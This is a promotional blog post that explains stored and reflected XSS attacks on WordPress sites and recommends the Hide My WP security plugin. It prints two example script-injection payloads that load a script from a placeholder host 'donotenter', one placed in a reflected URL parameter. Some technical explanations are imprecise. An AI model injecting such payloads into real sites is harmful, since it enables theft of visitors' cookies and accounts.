Want to know how you can Fix Cross Site Scripting Vulnerability in WordPress site and obviate future XSS attacks?
Stay connected, Here we discuss what exactly is an XSS attack, how it affects your WordPress website, its consequences, and how to prevent your WordPress site from its misadventures.
Also, upgrade the overall security of your website.
What is XSS and Cross-Site Scripting?
Cross-Site Scripting a.k.a XSS are one and the same. It’s a web application security vulnerability affecting Web Applications.
In this, the attacker tries to inject malicious code into vulnerable websites wherein once the code is successfully injected and executed it tries to steal user data in the form of session cookies which are stored in your browser and sends it to the attacker.
Once, the attacker has the cookie information he can further steal login credentials, private data and can cause massive damage to your website as well as to the user accessing your website.
How XSS Attack Works?
Basically, Cross-site scripting is a type of hack attack directed on the WordPress Website, it’s executed in two ways:
1. By Exploiting User Inputs
It exploits user inputs by directing attacks on user input fields like the Comment Box, Site Search field, Contact Form, etc. by inserting malicious Script/Code into the website.
These fields are designed to take user inputs in the form of texts and numbers but are not monitored/reviewed for any malicious scripts. Hackers take advantage of this and enter their script which may somewhat look like
<script src="http://donotenter/theevilscript.js"></script>
These scripts are sent to the website database and are later executed by the hackers for malicious activities.
2. Bypassing Same Original Policies(SOP)
SOPs are some security measures that forbid one webpage from accessing information of other webpages from your web browser. Meaning no cross-site requests made.
Despite the SOPs in place, hackers have found other ways to access this information with the help of using session cookies.
As you might know, browsers store session cookies to keep you logged in to your previously visited websites to save you from the hassle of logging in every time you visit different web-pages.
Besides login credentials, cookies also store other information like shopping preferences, personal and banking data.
How XSS vulnerability affect your website?
Primarily there are two types of XSS attacks carried any WordPress website.
1. Persistent XSS Attack / Stored Attack
This type of attack affects the visitors visiting your website. The attacker first scans your site and looks for vulnerabilities by using automated tools.
Once they find their target they inject their script into one of the user input fields and it goes undetected as there is no mechanism to scan and detect for it in the first place!
Later when a visitor visits your website and views the page which has the attacker’s code in it, the code gets executed and it steals their browser cookies.
Using these cookies the attacker can steal the user’s sensitive information and can get his hands on the usernames and passwords of the user’s visited sites.
The attacker can also hack into your email and send phishing emails to your online contacts.
2. Non-Persistent XSS Attack / Reflective Attack
In this attack, hackers infect your website directly. As you the site-owner too frequently visit multiple websites including your own website. Hackers might send you malicious links via. email or a link to other infected sites.
As you convincingly click on the link it causes the script to load on your website from an external site. It may somewhat look like
https://adamsblog.com/test.php?val=<script src="http://donotenter/theevilscript.js"></script>
As the script executes it steals your browser cookies and hackers enact you and pose as you’ve entered into your administrator account of your WordPress site.
As they gain access they can steal login credentials and sensitive site data and can lock you out of your own website.
There are many ways in which they can damage your site and your business leading to financial losses.
How to Fix Cross Site Scripting Vulnerability in WordPress
There are many ways in which you can do protect your website from the XSS Stored Attacks.
If you have technical expertise and are familiar with your website’s internal working you can add code to your website’s user input fields to monitor and sanitize the data that’s being sent to the database or hire an expert for the same.
The Best way to Fix Cross Site Scripting Vulnerability in WordPress is with the use of a Security Plugin.
Fix Cross Site Scripting Vulnerability in WordPress with Hide My WP WordPress Security Plugin
Hide My WP is the Best WordPress Security plugin to Fix Cross Site Scripting Vulnerability in WordPress site, Hide My WP hides your WordPress form attackers, theme detectors, and Spammers.
Hide My WP has a Smart Intrusion Detection System(WordPress Firewall) that automatically blocks lethal attacks like XSS and SQL Injection, Command Injection, etc.
And, works to Fix Cross Site Scripting Vulnerability in WordPress website.
This security plugin works by hiding the common paths like /wp-login.php and /wp-admin and replaces all instances of WordPress thereby hiding the fact that your website runs on WordPress. It also disables Direct PHP access.
It has a trust network that detects and protects from new attack patterns, it maintains a dynamic list of bad IP addresses.
You can download Free XSS Vulnerability Plugin. Hide My WP is actively popular on security plugin with over 27000+ satisfied customers and is regularly updated to keep up with the latest security patches.
If you enjoyed trying the Free Lite Version, you can buy its license for $29 for your site with Advanced Security Features and 24/7 Support.
Conclusion
Before we conclude here are some tips to keep your website secure and free from Cross Site Scripting Vulnerability.
- Keep your WordPress site updated – As new and new vulnerabilities are detected and security patches rolled out from the WordPress team, you should be quick in updating your site with those latest releases. Outdated WordPress software can be a security nightmare for your site and can bring an easy target to the attacker.
- Always Keep a WordPress Security Plugin – Even if your site comes under attack the Security plugin will Fix Cross Site Scripting Vulnerability in WordPress step up and prevent it from causing any further damage to your site.
- Take Frequent Backups – If your website is under attack and you have a recent backup of your site, it will help to restore your site back to the normal state.
Hope these steps help you in keeping your website safe from XSS attacks and help you Fix Cross Site Scripting Vulnerability in WordPress site. Thanks for your time!